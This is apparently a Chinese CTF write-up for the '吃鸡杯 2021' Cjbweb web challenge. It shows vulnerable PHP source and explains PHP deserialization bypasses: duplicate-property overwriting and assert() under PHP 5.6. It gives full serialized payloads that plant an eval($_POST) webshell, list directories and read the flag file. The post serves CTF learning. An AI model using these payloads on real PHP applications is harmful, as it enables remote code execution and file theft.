[吃鸡杯 2021]Cjbweb

Cjbw[吃鸡杯 2021]Cjbweb

感谢jan神出的各种没见过但是很有意思的姿势。

源码:

<?php
$safe="Hack me!";

class Hacker{
    public $name="var_dump";
    public $msg="Happy to cjb";
    public function __wakeup()
    {
        global $safe;
        if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){
            $this->name="var_dump";
            $this->msg="You look dangerous!!!";
            $safe="I think waf is enough.";
        }
        call_user_func($this->name,$this->msg);
    }
    public function __destruct()
    {
        global $safe;
        var_dump($safe);
    }
}

if(isset($_POST['info'])){
    $info=$_POST['info'];
    if(preg_match('/s:4:"name";s:\d:"v\w*"/',$info)){
        unserialize($info);
    }else{
        echo "I just love v";
    }
}else{
    $hacker=new Hacker();
    highlight_file(__FILE__);
}

这里题目的意思是我们要用POST方法传进去一个info参数,要求有/s:4:"name";s:\d:"v\w*"/这样的字符,这实际上是Hacker这个类对象进行序列化之后的部分内容,仔细观察发现name属性的值必须要v开头才行,题目这样限制的目的是什么呢?我们可以看类里面的操作,在经过一个检查没有包含非法字符之后执行call_user_func($this->name,$this->msg);这个操作,相当执行$name($msg)这个函数,因此这个限制的目的是让我们智能执行以v开头的函数。我们的目的是绕过只能以v开头函数的限制,下面有两种方法。

类重复属性覆盖

在类里面写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加一)

example:

image-20210723225046140

利用这点我们可以将name属性变成我们想要的值,相当于可以执行任意函数。

使用POST或GET绕过限制

接下来既然可以使用任何函数了,那我们就可以尝试去getshell,但经过尝试之后发现系统过滤了执行的函数,不过还是留下了assert()可以利用。

值得一提的是assert()函数在PHP7版本就不能被动态调用了,就像这一题那样,用call_user_func()去调用是不被允许的。本题的环境是PHP5.6

再看对$msg属性的限制,这里用\([^()]*\([^()]*\)这条正则过滤了括号嵌套,因此很难输出函数执行之后的结果,这里的有个非预期解是使用POST或GET进行传参。

?info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}

这么一来我们就可以通过POST方法进行传参读取文件。

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=var_dump(scandir('/'));            // 输出根目录的内容
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=show_source("/you_never_know_my_name");        // 输出flag

chdir('..')返回上一级

题目最后给我们var_dump($safe)这个变量,实际上是希望能够利用上的,这里我们可以让$safe变量赋值为我们需要的值,那么输出出来的内容就是想要的,只不过构造这个值需要一点技巧,因为这里过滤了/,那么我们需要转移到根目录就要另寻僻径。

这里使用chdir('..')来切换目录,而且能够通过.来叠加切换目录,成功时返回 TRUE, 或者在失败时返回 FALSE。那么我们就可以通过三目运算符配合scandir('.')来输出目录内容:

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:57:"$safe=chdir('..').chdir('..').chdir('..')?scandir('.'):''";}

知道flag文件的名字之后就可以file_get_contents()出来:

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:85:"$safe=chdir('..').chdir('..').chdir('..').readfile('you_never_know_my_name')";}

参考资料

吃鸡杯 WEB WP

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇